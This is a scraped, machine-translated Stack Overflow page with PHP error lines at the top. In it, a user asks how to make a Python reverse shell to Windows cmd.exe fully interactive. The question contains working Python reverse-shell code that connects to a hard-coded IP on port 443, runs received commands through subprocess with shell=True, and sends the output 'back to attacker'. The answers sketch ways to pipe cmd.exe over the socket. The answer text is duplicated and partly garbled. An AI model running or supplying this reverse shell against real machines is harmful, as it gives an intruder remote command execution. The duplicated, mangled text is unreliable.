Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/333.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 创建一个完全交互式的Windows cmd.exe shell_Python_Windows_Cmd_Interactive_Reverse Shell - Fatal编程技术网

Python 创建一个完全交互式的Windows cmd.exe shell

Python 创建一个完全交互式的Windows cmd.exe shell,python,windows,cmd,interactive,reverse-shell,Python,Windows,Cmd,Interactive,Reverse Shell,我在Windows上玩这个,netcat在另一个设备上监听: #!/usr/bin/python import socket import subprocess HOST = '192.168.225.136' # The remote host PORT = 443 # The same port as used by the server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.conne

我在Windows上玩这个,netcat在另一个设备上监听:

#!/usr/bin/python

import socket
import subprocess

HOST = '192.168.225.136'    # The remote host
PORT = 443            # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# loop forever
while 1:
    # recv command line param
    data = s.recv(1024)
    # execute command line
    proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    # grab output from commandline
    stdout_value = proc.stdout.read() + proc.stderr.read()
    # send back to attacker
    s.send(stdout_value)
# quit out afterwards and kill socket
s.close()
资料来源:


有没有办法生成一个完全交互的
cmd.exe
shell?我甚至不能运行
time
命令而不锁定它,因为它需要输入。任何需要输入的命令都会导致其暂停,直到
^C


如果有小提示(即
C:\>
)、制表符完成、,↑ 历史,就像一个真实的故事。我发现了一些适用于Unix和Linux上的
/bin/sh
/bin/bash
的技术,但到目前为止,对于Windows
cmd.exe

来说,您可能可以使用Python的内置模块做些什么。您正在生成一个程序,然后读取其所有输出并将其发送回。相反,您需要读取程序输出的块(可能是行)以将它们发送回,等待用户的输入发送到命令解释器,等等。这超出了单个SO答案的范围,但肯定是可行的。是的,可以这样做,因为您可以自定义它。查看文档中所示的
TurtleShell
。这里有两种方法:1。生成一个CMD.EXE,将来自套接字的内容提供给它,并将来自stdout或stderr的所有内容复制到套接字。当心阻塞呼叫,或者每边使用一个线程。实现一个功能齐全的shell并生成外部命令,一次一个。我目前无法猜到您想要什么选项,而且无论如何,我担心问题仍然相当广泛。如果Python端使用行缓冲并以CRLF结束行,则可以通过简单的管道重定向使CMD shell工作。但大多数控制台程序不会与管道标准I/O交互工作,因为它们会自动切换到完全缓冲,所以shell作为交互环境几乎毫无用处。此外,忘记制表符完成和历史记录,除非您从头开始实现它,并逐个字符读取管道。cmdshell依赖于控制台来实现这些功能。它不使用像readline这样的进程内库。您可以使用Python的内置模块做一些事情。您正在生成一个程序,然后读取其所有输出并将其发送回。相反,您需要读取程序输出的块(可能是行)以将它们发送回,等待用户的输入发送到命令解释器,等等。这超出了单个SO答案的范围,但肯定是可行的。是的,可以这样做,因为您可以自定义它。查看文档中所示的
TurtleShell
。这里有两种方法:1。生成一个CMD.EXE,将来自套接字的内容提供给它,并将来自stdout或stderr的所有内容复制到套接字。当心阻塞呼叫,或者每边使用一个线程。实现一个功能齐全的shell并生成外部命令,一次一个。我目前无法猜到您想要什么选项,而且无论如何,我担心问题仍然相当广泛。如果Python端使用行缓冲并以CRLF结束行,则可以通过简单的管道重定向使CMD shell工作。但大多数控制台程序不会与管道标准I/O交互工作,因为它们会自动切换到完全缓冲,所以shell作为交互环境几乎毫无用处。此外,忘记制表符完成和历史记录,除非您从头开始实现它,并逐个字符读取管道。cmdshell依赖于控制台来实现这些功能。它不使用像readline这样的进程内库。